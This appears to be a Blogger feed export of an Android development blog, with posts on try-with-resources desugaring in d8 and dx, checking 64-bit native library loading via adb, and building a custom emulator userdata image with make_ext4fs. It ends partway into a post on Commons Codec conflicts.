tag:blogger.com,1999:blog-20774684587102259082024-02-07T07:09:33.044+02:00Alex Lipov @ osom.infoScribbles on security, mobile development and great productsAlex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.comBlogger20125tag:blogger.com,1999:blog-2077468458710225908.post-6851192453133541142019-10-05T11:10:00.000+03:002019-10-05T11:10:17.932+03:00Try-with-resources desugaring support in Android's build toolsDuring one of the code reviews with my colleague I've noticed he used try-with-resources Java 7's feature. To my then latest knowledge, try-with-resources required <span style="color: #ea9999;">minSdkVersion 19</span> (while our app's minSdkVersion is 16) - which is based on the <a href="https://developer.android.com/studio/releases/sdk-tools" target="_blank">following statement</a> (see under SDK Tools, Revision 22.6 (March 2014)):<br />
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;">Added support for Java 7 language features like multi-catch, try-with-resources, and the diamond operator. These features require version 19 or higher of the Build Tools. <b><i>Try-with-resources requires minSdkVersion 19</i></b>; the rest of the new language features require minSdkVersion 8 or higher.</span></blockquote>
My colleague told me that neither Lint nor compiler haven't warned about that, which was strange - since I vividly remember they both did in the past. Bug in Lint could explain that, but how did it compile? We decided to review our assumptions.<br />
<br />
<a name='more'></a>Quick Google search yielded <a href="https://developer.android.com/studio/write/java8-support.html" target="_blank">this result</a>:<br />
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;">In addition to the Java 8 language features and APIs above, Android Studio 3.0 and later extends support for try-with-resources to all Android API levels.</span></blockquote>
We've somehow overlooked this announcement.<br />
<br />
So it seems that latest build chain supports try-with-resources feature and can be safely used. However, I'm curious how exactly this support has been added - since as we all know try-with-resources implementation relies on <a href="https://developer.android.com/reference/java/lang/Throwable.html#addSuppressed(java.lang.Throwable)" target="_blank">Throwable#addSuppressed(java.lang.Throwable)</a> method added in Java 7 (which in Android world means minSdkVersion 19).<br />
The reasoning for <span style="color: #ea9999;">Throwable#addSuppressed</span> API requirement is explained <a href="https://docs.oracle.com/javase/specs/jls/se8/html/jls-14.html#jls-14.20.3" target="_blank">here</a>:<br />
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;">An exception from the closing of one resource does not prevent the closing of other resources. Such an exception is <b><i>suppressed</i></b> if an exception was thrown previously by an initializer, the try block, or the closing of a resource.</span></blockquote>
I won't go into detail for how it is being used, you can find great explanations and examples <a href="https://docs.oracle.com/javase/tutorial/essential/exceptions/tryResourceClose.html" target="_blank">here</a> and <a href="https://stackoverflow.com/a/31458616/1233652" target="_blank">here</a>.<br />
<br />
The Android's build tools support was added in both <span style="color: #ea9999;">dx</span> and <span style="color: #ea9999;">d8</span> by <i>desugaring</i> try-with-resources Java 7 bytecode. The desugaring itself was implemented slightly differently in these two tools, I'll review both of them below.<br />
<br />
I've created a sample code that uses try-with-resources feature in the following way:<br />
<br />
<script src="https://gist.github.com/alipov/32325ca1db18751e169f51c70c5b9df0.js"></script><br />
It just opens a file for writing using <a href="https://developer.android.com/reference/java/io/FileOutputStream" target="_blank">FileOutputStream</a> subclass, writes the string <i>"hello"</i> and closes it. If an exception thrown, it will be caught and printed. On device running API 19 or later, it will try to get the suppressed exception and print it as well.<br />
<br />
<span style="color: #ea9999;">MyFileOutputStream</span> class was added just to unconditionally throw exception in overridden <a href="https://developer.android.com/reference/java/io/FileOutputStream#close()" target="_blank">close()</a> method - so try-with-resources mechanism will generate a suppressed exception.<br />
<br />
<script src="https://gist.github.com/alipov/5fb526b4de35df3b068aa98da5f6531d.js"></script><br />
<br />
In order to understand how desugaring was implemented in build tools, I'll use each of them to compile the sample project with both <span style="color: #ea9999;">minSdkVersion</span> 18 and 19, and then compare the generated bytecode.<br />
<br />
The sample project can be found in <a href="https://github.com/alipov/try-with-resources-desugar" target="_blank">this repository</a>. It contains branches for each [d8/dx, minSdk18/minSdk19] permutation where I've also included the (compiler-generated) smali bytecode. For example, <span style="color: #ea9999;">app-debug-smali</span> folder in <a href="https://github.com/alipov/try-with-resources-desugar/tree/d8-minsdk18-java8/app-debug-smali" target="_blank">d8-minsdk18-java8</a> branch shows the bytecode generated by <span style="color: #ea9999;">d8</span> with <span style="color: #ea9999;">minSdkVersion</span> set to 18.<br />
<br />
<br />
<h3>
d8's implementation</h3>
<br />
To see the minsdk19/minsdk18 differences, I've used the following command:<br />
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;">$ git diff d8-minsdk19-java8..d8-minsdk18-java8</span></blockquote>
The main changes are:<br />
When compiled with <span style="color: #ea9999;">minSdkVersion</span> 18, the <a href="https://developer.android.com/reference/java/lang/Throwable.html#addSuppressed(java.lang.Throwable)" target="_blank">Throwable#addSuppressed</a> call was being removed from <span style="color: #ea9999;">Sample#tryWithResourcesSample</span> method body:<br />
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;"><span style="color: #e06666;">- move-exception v3<br />
- invoke-virtual {v1, v3}, Ljava/lang/Throwable;->addSuppressed(Ljava/lang/Throwable;)V</span><br />
<span style="color: #6aa84f;">+ move-exception v2</span></span></blockquote>
Additional significant change happened in <span style="color: #ea9999;">Sample#getSuppressedOrEmpty</span> method body - instead of invoking <a href="https://developer.android.com/reference/java/lang/Throwable.html#getSuppressed()" target="_blank">Throwable#getSuppressed</a> API, the bytecode just creates an empty array:<br />
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;"> .line 36<br />
<span style="color: #e06666;">- invoke-virtual {p0}, Ljava/lang/Exception;->getSuppressed()[Ljava/lang/Throwable;<br />
- move-result-object v0</span><br />
<span style="color: #6aa84f;">+ new-array v0, v1, [Ljava/lang/Throwable;</span></span></blockquote>
As you can see, <span style="color: #ea9999;">d8</span>'s implementation either patches the generated calls to Java 7-introduced methods with effectively no-op instructions, or removes them entirely.<br />
<br />
<br />
<h3>
dx's implementation</h3>
<br />
<span style="color: #ea9999;">dx</span> takes another route. Instead of statically patching the generated code, it delegates the decision to a runtime. If device's SDK level is below 19 - same no-op logic will be performed (as done in d8), otherwise <a href="https://developer.android.com/reference/java/lang/Throwable.html#addSuppressed(java.lang.Throwable)" target="_blank">Throwable#addSuppressed</a> and <a href="https://developer.android.com/reference/java/lang/Throwable.html#getSuppressed()" target="_blank">Throwable#getSuppressed</a> methods will be invoked.<br />
<br />
Again, I'll use the following command to find what's changing when we downgrade <span style="color: #ea9999;">minSdkVersion</span> to 18:<br />
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;">$ git diff dx-minsdk19-java8..dx-minsdk18-java8</span></blockquote>
<span style="color: #ea9999;">Sample#tryWithResourcesSample</span> had a single instruction change:<br />
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;"><span style="color: #e06666;">- invoke-virtual {v3, v1}, Ljava/lang/Throwable;->addSuppressed(Ljava/lang/Throwable;)V</span><br />
<span style="color: #6aa84f;">+ invoke-static {v3, v1}, Lcom/google/devtools/build/android/desugar/runtime/ThrowableExtension;->addSuppressed(Ljava/lang/Throwable;Ljava/lang/Throwable;)V</span></span></blockquote>
<div>
Another change was in<span style="color: #ea9999;"> Sample#getSuppressedOrEmpty </span>method:</div>
<div>
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;"><span style="color: #e06666;">- invoke-virtual {p0}, Ljava/lang/Exception;->getSuppressed()[Ljava/lang/Throwable;</span><br />
<span style="color: #6aa84f;">+ invoke-static {p0}, Lcom/google/devtools/build/android/desugar/runtime/ThrowableExtension;->getSuppressed(Ljava/lang/Throwable;)[Ljava/lang/Throwable;</span></span></blockquote>
</div>
<div>
Both changes replace invocation of methods that were introduced in Java 7 (minSdkVersion 19) with static methods having exact same names, which implemented in <span style="color: #ea9999;">ThrowableExtension</span> third-party class.</div>
<div>
<br /></div>
<div>
As you might have guessed, the <a href="https://android.googlesource.com/platform/external/desugar/+/refs/tags/gradle_3.4.0/java/com/google/devtools/build/android/desugar/runtime/ThrowableExtension.java" target="_blank">ThrowableExtension</a> class (along with all its 6 static nested classes) is being injected into your application's dex. The runtime decision is being performed in <span style="color: #ea9999;">ThrowableExtension</span>'s <a href="https://android.googlesource.com/platform/external/desugar/+/refs/tags/gradle_3.4.0/java/com/google/devtools/build/android/desugar/runtime/ThrowableExtension.java#52" target="_blank">static constructor</a>:<br />
<br /></div>
<script src="https://gist.github.com/alipov/03c27f9ab37008fa30b727471318ec61.js"></script><br />
<div>
<a href="https://android.googlesource.com/platform/external/desugar/+/refs/tags/gradle_3.4.0/java/com/google/devtools/build/android/desugar/runtime/ThrowableExtension.java#194" target="_blank">ReuseDesugaringStrategy</a> just proxies the calls to framework's <span style="color: #ea9999;">Throwable#addSuppressed</span> and <span style="color: #ea9999;">Throwable#getSuppressed</span> methods; <a href="https://android.googlesource.com/platform/external/desugar/+/refs/tags/gradle_3.4.0/java/com/google/devtools/build/android/desugar/runtime/ThrowableExtension.java#385" target="_blank">NullDesugaringStrategy</a> is a no-op strategy.<br />
You can also see that <span style="color: #ea9999;">ThrowableExtension#addSuppressed</span> and <span style="color: #ea9999;">ThrowableExtension#getSuppressed</span> static methods invoke the methods on a selected strategy's instance.</div>
<div>
<br />
<br /></div>
<div>
<h3>
To summarize</h3>
</div>
<div>
<br /></div>
<div>
Support for try-with-resources feature across all API levels is great news for those of you who still using Java for writing/maintaining Android apps. <span style="color: #ea9999;">d8</span> and <span style="color: #ea9999;">dx</span> tools implement the desugaring in slightly different way. If you don't use the <span style="color: #ea9999;">Throwable#addSuppressed</span>/<span style="color: #ea9999;">Throwable#getSuppressed</span> APIs - you shouldn't care. If you do rely on them - you should know that with <span style="color: #ea9999;">d8</span> they won't work as you'd expect when <span style="color: #ea9999;">minSdkVersion</span> of your app is less than 19.</div>
<div>
<br /></div>
Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com1tag:blogger.com,1999:blog-2077468458710225908.post-16131673619277897372019-06-08T17:52:00.000+03:002019-06-13T09:34:07.430+03:00Verifying 64-bit libraries are being loadedIf you're bundling native libraries inside your Android application, then you've probably already know that starting August 1, 2019, your apps published on Google Play <a href="https://android-developers.googleblog.com/2017/12/improving-app-security-and-performance.html" target="_blank">will need to support 64-bit architectures</a>. In this post I'll show how we can explicitly choose the 64-bit ABIs to run, and verify that the 64-bit library was indeed loaded at runtime.<br />
<br />
The <a href="https://developer.android.com/distribute/best-practices/develop/64-bit#test_your_app_on_64-bit_hardware" target="_blank">support 64-bit architectures</a> guide provides a command for selecting which ABI libraries to use during the APK installation process:<br />
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;"># A successful install:<br />
$ adb install --abi armeabi-v7a APK_FILE.apk<br />
Success</span></blockquote>
<br />
This command can be handy when your APK includes several ABI libraries, your CPU able to run multiple ABIs and you want to explicitly specify which ABI to use.<br />
<br />
<a name='more'></a>For example, my Pixel XL device supports the following ABIs (both 32 and 64 bits):<br />
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;"># 32-bit ABIs, mapped to <a href="https://developer.android.com/reference/android/os/Build.html#SUPPORTED_32_BIT_ABIS" target="_blank">Build#SUPPORTED_32_BIT_ABIS</a><br />
$ adb shell getprop ro.product.cpu.abilist32<br />
armeabi-v7a,armeabi</span></blockquote>
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;"># 64-bit ABIs, mapped to <a href="https://developer.android.com/reference/android/os/Build.html#SUPPORTED_64_BIT_ABIS" target="_blank">Build#SUPPORTED_64_BIT_ABIS</a><br />
$ adb shell getprop ro.product.cpu.abilist64<br />
arm64-v8a</span></blockquote>
<br />
Once I've built my APK with <span style="color: #ea9999;">arm64-v8a</span> ABI support (along with <span style="color: #ea9999;">armeabi-v7a</span> libraries), I can specify which ABI I'd like to use using:<br />
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;">$ adb install --abi arm64-v8a APK_FILE.apk</span></blockquote>
<br />
Those who would like to verify that the 64-bit library was indeed loaded at runtime - can check the dynamic linker's debug logs. Support for printing those logs was added in <a href="https://android.googlesource.com/platform/bionic/+/b996d60" target="_blank">this commit</a>, and available since Oreo (version 8.0). Note that this only works for APKs built in <span style="color: #ea9999;">debug mode</span>. Device rooting is <span style="color: #ea9999;">not required</span>.<br />
<br />
To enable the <span style="color: #ea9999;">ld</span> debug logs for a particular app, use:<br />
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;">$ adb shell setprop debug.ld.app.<b><span style="color: #ea9999;">com.example.myapp</span></b> dlerror,dlopen</span></blockquote>
where:<br />
<ul>
<li><span style="color: #ea9999;">com.example.myapp</span> is your package name.</li>
<li><span style="color: #ea9999;">dlerror,dlopen</span> are the filtering options. Any combination of <span style="color: #ea9999;">dlerror</span> (enables logging of all dlerrors) / <span style="color: #ea9999;">dlopen</span> (traces dlopen and dlclose calls) / <span style="color: #ea9999;">dlsym</span> (symbols resolution) is being supported.</li>
</ul>
<div>
<br />
Example for such use (package name = info.osom.nativesandbox):</div>
<div>
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;">$ adb shell setprop debug.ld.app.info.osom.nativesandbox dlerror,dlopen </span></blockquote>
</div>
<div>
<br /></div>
<div>
Verifying the property was set:</div>
<div>
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;">$ adb shell getprop debug.ld.app.info.osom.nativesandbox<br />dlerror,dlopen </span></blockquote>
</div>
<br />
<div>
Now let's run <span style="color: #ea9999;">adb logcat</span> and start the app:</div>
<div>
<blockquote class="tr_bq">
<span style="font-size: x-small;">D/linker: dlopen(name="/data/app/info.osom.nativesandbox-_1cbjYwj8FtK4-Mjp4m-Sw==/lib/<b><span style="color: #ea9999;">arm64</span></b>/libnative-lib.so", flags=0x2, extinfo=[flags=0x200, reserved_addr=0x0, reserved_size=0x7b6ed1a400, relro_fd=1857095400, library_fd=123, library_fd_offset=0x7ff8f34868, library_namespace=classloader-namespace@0x7bf45e0210], caller="/system/lib64/libnativeloader.so", caller_ns=(default)@0x7bf4775438) ... </span></blockquote>
<blockquote class="tr_bq">
<span style="font-size: x-small;">D/linker: ... dlopen calling constructors: realpath="/data/app/info.osom.nativesandbox-_1cbjYwj8FtK4-Mjp4m-Sw==/lib/<b><span style="color: #ea9999;">arm64</span></b>/libnative-lib.so", soname="libnative-lib.so", handle=0x99a17691a1a513e1 </span></blockquote>
<blockquote class="tr_bq">
<span style="font-size: x-small;">D/linker: ... dlopen successful: realpath="/data/app/info.osom.nativesandbox-_1cbjYwj8FtK4-Mjp4m-Sw==/lib/<b><span style="color: #ea9999;">arm64</span></b>/libnative-lib.so", soname="libnative-lib.so", handle=0x99a17691a1a513e1 </span></blockquote>
<blockquote class="tr_bq">
<span style="font-size: x-small;">D/linker: dlerror set to "undefined symbol: JNI_OnLoad"</span></blockquote>
</div>
<br />
<div>
From the above debug logs we can see that dynamic linker loaded the native library from the arm64 folder.</div>
Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com0tag:blogger.com,1999:blog-2077468458710225908.post-74039234355596405932015-07-12T23:08:00.001+03:002015-07-12T23:12:11.613+03:00How to manually create Android emulator's internal storage disk imageBuilt-in AVD Manager incorrectly generates (internal storage) disk images when you're creating new virtual device targeting API 19 or greater.<br />
<br />
On API 19 - no matter what size you specify during the virtual device configuration, the maximum that you're going to get is 200mb. On API 21 and 22, the maximum size increased to 550mb. This issue already has appropriate <a href="http://stackoverflow.com/q/20579606" target="_blank">question on StackOverflow</a> and <a href="https://code.google.com/p/android/issues/detail?id=75141" target="_blank">AOSP bug report</a>.<br />
<br />
For average application this will be sufficient, but for large application (or when you need to install several application that talk to each other) it can be problematic.<br />
<br />
<a name='more'></a><table align="center"><tbody>
<tr> <td style="padding: 0 20px 0 20px;"><br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuQmki_LDQRNk_8PjzmRiB_rUcF_Yo02NbYkBozAlAA7iiYJqpzp_fHAgf_J9t_v4N99QTehN8xqkOWAs7-3MiBt_Pl2dvpicRf5AcUzDxLYjgzsnJr8gHFdrMngIuMlPS_G3MB2y2k5c/s1600/nexus-4-api19.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuQmki_LDQRNk_8PjzmRiB_rUcF_Yo02NbYkBozAlAA7iiYJqpzp_fHAgf_J9t_v4N99QTehN8xqkOWAs7-3MiBt_Pl2dvpicRf5AcUzDxLYjgzsnJr8gHFdrMngIuMlPS_G3MB2y2k5c/s320/nexus-4-api19.png" width="192" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">200mb on KitKat</td></tr>
</tbody></table>
</td> <td style="padding: 0 20px 0 20px;"><br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj29JmPR63LjMRxYJxyQNvJQACfzDrWYKxTNMBz4MDX4IkIeugWhhvSc8YLJAQP7Bh3v7GR4zICaUrODm8iQWrKE7fNKtBrctmJ9XE8whQmEerF4QIhYh_z3BZXfSbMdvsek9Lu4eGsvKA/s1600/nexus-4-api22-requested1g-received550mb.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj29JmPR63LjMRxYJxyQNvJQACfzDrWYKxTNMBz4MDX4IkIeugWhhvSc8YLJAQP7Bh3v7GR4zICaUrODm8iQWrKE7fNKtBrctmJ9XE8whQmEerF4QIhYh_z3BZXfSbMdvsek9Lu4eGsvKA/s320/nexus-4-api22-requested1g-received550mb.png" width="192" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">550mb on Lollipop</td></tr>
</tbody></table>
</td> </tr>
</tbody> </table>
<br />
To solve it you have two options. Use other (non built-in) emulators, the highly recommended <a href="https://www.genymotion.com/" target="_blank">Genymotion</a> for example. Or, manually create the internal storage disk image, and replace the auto-generated one.<br />
<br />
In this post I will show step-by-step how to manually generate disk image. It is based on Zsolt Muller's <a href="http://muzso.hu/2012/08/10/how-to-pack-and-unpack-system.img-and-userdata.img-from-an-android-factory-image" target="_blank">post</a> on similar topic.<br />
<br />
The tool that generates the disk image is called <span style="color: #ea9999;">make_ext4fs</span> and it is part of Android Open Source Project. I will download the sources, compile and run the tool.<br />
<br />
The prerequisites are a Linux machine and network connection. I'm using 32-bit Ubuntu 14.04.<br />
<br />
Create the folder structure first:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;">alex@ubuntu2:~$ mkdir platform<br />
alex@ubuntu2:~$ cd platform/<br />
alex@ubuntu2:~/platform$ mkdir system<br />
alex@ubuntu2:~/platform$ cd system/</span></blockquote>
<br />
Clone <span style="color: #ea9999;">platform/system/core</span> repository:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><b>alex@ubuntu2:~/platform/system$ git clone https://android.googlesource.com/platform/system/core</b><br />
Cloning into 'core'...<br />
remote: Sending approximately 13.42 MiB ...<br />
remote: Counting objects: 152, done<br />
remote: Finding sources: 100% (152/152)<br />
remote: Total 45103 (delta 27513), reused 45103 (delta 27513)<br />
Receiving objects: 100% (45103/45103), 13.46 MiB | 1.89 MiB/s, done.<br />
Resolving deltas: 100% (27515/27515), done.<br />
Checking connectivity... done.</span></blockquote>
<br />
Checkout <span style="color: #ea9999;">android-4.2.1_r1</span> branch:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><b>alex@ubuntu2:~/platform/system/core$ git checkout android-4.2.1_r1</b><br />
Note: checking out 'android-4.2.1_r1'.<br />
You are in 'detached HEAD' state. You can look around, make experimental<br />
changes and commit them, and you can discard any commits you make in this<br />
state without impacting any branches by performing another checkout.<br />
If you want to create a new branch to retain commits you create, you may<br />
do so (now or later) by using -b with the checkout command again. Example:<br />
git checkout -b new_branch_name<br />
HEAD is now at 31da9db... merge in jb-mr1-release history after reset to jb-mr1-dev</span></blockquote>
<br />
Clone <span style="color: #ea9999;">platform/system/extras</span> repository and checkout the same <span style="color: #ea9999;">android-4.2.1_r1</span> branch:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><b>alex@ubuntu2:~/platform/system/core$ cd ..</b><br />
<b>alex@ubuntu2:~/platform/system$ git clone https://android.googlesource.com/platform/system/extras</b><br />
Cloning into 'extras'...<br />
remote: Counting objects: 152, done<br />
remote: Finding sources: 100% (152/152)<br />
remote: Total 6452 (delta 2897), reused 6452 (delta 2897)<br />
Receiving objects: 100% (6452/6452), 3.15 MiB | 2.56 MiB/s, done.<br />
Resolving deltas: 100% (2897/2897), done.<br />
Checking connectivity... done.<br />
<b>alex@ubuntu2:~/platform/system$ cd extras<br />
alex@ubuntu2:~/platform/system/extras$ git checkout android-4.2.1_r1</b><br />
Note: checking out 'android-4.2.1_r1'.<br />
You are in 'detached HEAD' state. You can look around, make experimental<br />
changes and commit them, and you can discard any commits you make in this<br />
state without impacting any branches by performing another checkout.<br />
If you want to create a new branch to retain commits you create, you may<br />
do so (now or later) by using -b with the checkout command again. Example:<br />
git checkout -b new_branch_name<br />
HEAD is now at 80d69a7... merge in jb-mr1-release history after reset to jb-mr1-dev</span></blockquote>
<br />
Let's try to compile:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><b>alex@ubuntu2:~/platform/system/extras$ cd ..<br />
alex@ubuntu2:~/platform/system$ gcc -Wl,--as-needed -Icore/libsparse/include -Icore/include -DANDROID extras/ext4_utils/make_ext4fs_main.c extras/ext4_utils/make_ext4fs.c extras/ext4_utils/ext4fixup.c extras/ext4_utils/ext4_utils.c extras/ext4_utils/allocate.c core/libsparse/backed_block.c core/libsparse/output_file.c extras/ext4_utils/contents.c extras/ext4_utils/extent.c extras/ext4_utils/indirect.c extras/ext4_utils/uuid.c extras/ext4_utils/sha1.c core/libsparse/sparse_crc32.c core/libsparse/sparse.c core/libsparse/sparse_err.c core/libsparse/sparse_read.c extras/ext4_utils/wipe.c -lz -o make_ext4fs</b><br />
extras/ext4_utils/make_ext4fs.c: In function make_ext4fs:<br />
extras/ext4_utils/make_ext4fs.c:319:2: warning: passing argument 3 of 'make_ext4fs_internal' discards 'const' qualifier from pointer target type [enabled by default]<br />
status = make_ext4fs_internal(fd, NULL, mountpoint, NULL, 0, 0, 0, 1, 0, sehnd);<br />
In file included from extras/ext4_utils/make_ext4fs.c:17:0:<br />
extras/ext4_utils/make_ext4fs.h:40:5: note: expected 'char *' but argument is of type const 'char *'<br />
int make_ext4fs_internal(int fd, const char *directory,<br />
core/libsparse/output_file.c:29:18: fatal error: zlib.h: No such file or directory<br />
#include <zlib .h=""><br />
compilation terminated.</zlib></span></blockquote>
<br />
The compilation fails - seems like we have to install <span style="color: #ea9999;">zlib1g</span> library:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><b>alex@ubuntu2:~/platform/system$ sudo apt-get install zlib1g-dev</b><br />
Reading package lists... Done<br />
Building dependency tree<br />
Reading state information... Done<br />
The following NEW packages will be installed:<br />
zlib1g-dev<br />
0 upgraded, 1 newly installed, 0 to remove and 319 not upgraded.<br />
Need to get 181 kB of archives.<br />
After this operation, 434 kB of additional disk space will be used.<br />
Get:1 http://il.archive.ubuntu.com/ubuntu/ trusty/main zlib1g-dev i386 1:1.2.8.dfsg-1ubuntu1 [181 kB]<br />
Fetched 181 kB in 0s (904 kB/s)<br />
Selecting previously unselected package zlib1g-dev:i386.<br />
(Reading database ... 167712 files and directories currently installed.)<br />
Preparing to unpack .../zlib1g-dev_1%3a1.2.8.dfsg-1ubuntu1_i386.deb ...<br />
Unpacking zlib1g-dev:i386 (1:1.2.8.dfsg-1ubuntu1) ...<br />
Processing triggers for man-db (2.6.7.1-1ubuntu1) ...<br />
Setting up zlib1g-dev:i386 (1:1.2.8.dfsg-1ubuntu1) ...</span></blockquote>
<br />
Let's try to compile again:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><b>alex@ubuntu2:~/platform/system$ gcc -Wl,--as-needed -Icore/libsparse/include -Icore/include -DANDROID extras/ext4_utils/make_ext4fs_main.c extras/ext4_utils/make_ext4fs.c extras/ext4_utils/ext4fixup.c extras/ext4_utils/ext4_utils.c extras/ext4_utils/allocate.c core/libsparse/backed_block.c core/libsparse/output_file.c extras/ext4_utils/contents.c extras/ext4_utils/extent.c extras/ext4_utils/indirect.c extras/ext4_utils/uuid.c extras/ext4_utils/sha1.c core/libsparse/sparse_crc32.c core/libsparse/sparse.c core/libsparse/sparse_err.c core/libsparse/sparse_read.c extras/ext4_utils/wipe.c -lz -o make_ext4fs</b><br />
extras/ext4_utils/make_ext4fs.c: In function 'make_ext4fs':<br />
extras/ext4_utils/make_ext4fs.c:319:2: warning: passing argument 3 of 'make_ext4fs_internal' discards 'const' qualifier from pointer target type [enabled by default]<br />
status = make_ext4fs_internal(fd, NULL, mountpoint, NULL, 0, 0, 0, 1, 0, sehnd);<br />
In file included from extras/ext4_utils/make_ext4fs.c:17:0:<br />
extras/ext4_utils/make_ext4fs.h:40:5: note: expected 'char *' but argument is of type 'const char *'<br />
int make_ext4fs_internal(int fd, const char *directory,</span></blockquote>
<br />
This time it succeeds, and <span style="color: #ea9999;">make_ext4fs</span> executable was created:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;">alex@ubuntu2:~/platform/system$ ls -la<br />
total 120<br />
drwxrwxr-x 4 alex alex 4096 Jul 11 16:37 ./<br />
drwxrwxr-x 3 alex alex 4096 Jul 11 16:29 ../<br />
drwxrwxr-x 38 alex alex 4096 Jul 11 16:31 core/<br />
drwxrwxr-x 22 alex alex 4096 Jul 11 16:33 extras/<br />
<b>-rwxrwxr-x 1 alex alex 104611 Jul 11 16:37 make_ext4fs*</b></span></blockquote>
<br />
It takes the following parameters:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><b>alex@ubuntu2:~/platform/system$ ./make_ext4fs</b><br />
Expected filename after options<br />
make_ext4fs [ -l <len> ] [ -j <journal size=""> ] [ -b <block_size> ]<br />
[ -g <blocks group="" per=""> ] [ -i <inodes> ] [ -I <inode size=""> ]<br />
[ -L <label> ] [ -f ] [ -a <android mountpoint=""> ]<br />
[ -S file_contexts ]<br />
[ -z | -s ] [ -t ] [ -w ] [ -c ] [ -J ]<br />
<filename> [<directory>]</directory></filename></android></label></inode></inodes></blocks></block_size></journal></len></span></blockquote>
I'll set file system <i>length</i> as <span style="color: #ea9999;">1 gigabyte</span>, the <i>android mountpoint</i> should be <span style="color: #ea9999;">data</span> and the <i>filename</i> is <span style="color: #ea9999;">userdata.img</span>:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><b>alex@ubuntu2:~/platform/system$ ./make_ext4fs -l 1G -a data userdata.img</b><br />
Creating filesystem with parameters:<br />
Size: 1073741824<br />
Block size: 4096<br />
Blocks per group: 32768<br />
Inodes per group: 8192<br />
Inode size: 256<br />
Journal blocks: 4096<br />
Label:<br />
Blocks: 262144<br />
Block groups: 8<br />
Reserved block group size: 63<br />
Created filesystem with 11/65536 inodes and 8536/262144 blocks</span></blockquote>
Go to your virtual device's location on disk (i.e. <i>.android/avd/Nexus_4_API_19.avd/</i>) and delete existing <span style="color: #ea9999;">userdata.img</span> and <span style="color: #ea9999;">userdata-qemu.img</span> (if exists; <b>note </b>that this will <u>delete</u> all the existing internal storage data) files.<br />
<br />
Launch your virtual device, and check the internal storage size. It should display 1 gigabyte as expected:<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi81VMzXEAg06KpxIoPYsAs3ynlruuY2LJCnWMAT3J8Q7NJVzCotuDeNj4pjJIbe_ENec6vqkXGSGR27iSMfom9BkuhebfDtuHRE3jFSD0OifWSf-LW9owk4oAjNfuKSK3ljFFXW8D7Ajc/s1600/nexus-4-api19-after.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi81VMzXEAg06KpxIoPYsAs3ynlruuY2LJCnWMAT3J8Q7NJVzCotuDeNj4pjJIbe_ENec6vqkXGSGR27iSMfom9BkuhebfDtuHRE3jFSD0OifWSf-LW9owk4oAjNfuKSK3ljFFXW8D7Ajc/s320/nexus-4-api19-after.png" width="192" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">1gb on KitKat</td></tr>
</tbody></table>
Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com0tag:blogger.com,1999:blog-2077468458710225908.post-13658823303869023142015-04-23T16:42:00.000+03:002015-04-23T17:19:25.831+03:00Commons Codec on AndroidIf your application depends on <a href="https://commons.apache.org/proper/commons-codec/" target="_blank">Commons Codec</a> library (version 1.4 and above), and you are not aware that Android framework already includes this library, then there's a chance that your application will crash with a runtime exception.<br />
<br />
<br />
<b>Why does the Android framework includes the Commons Codec library?</b><br />
<br />
Android framework shipped with <span style="color: #ea9999;">HttpClient</span> (<a href="https://web.archive.org/web/20120614203130/http://old.nabble.com/HttpClient-in-Android-td27915358.html" target="_blank">version 4.0 pre-BETA</a>, an ancient 2008 release). <span style="color: #ea9999;">HttpClient</span> depends on <span style="color: #ea9999;">Commons Codec</span>. Therefore, AOSP had to include <span style="color: #ea9999;">Commons Codec</span> as well.<br />
<br />
<br />
